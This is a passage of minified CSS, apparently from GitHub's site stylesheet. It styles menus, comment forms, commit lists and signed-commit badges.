var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents 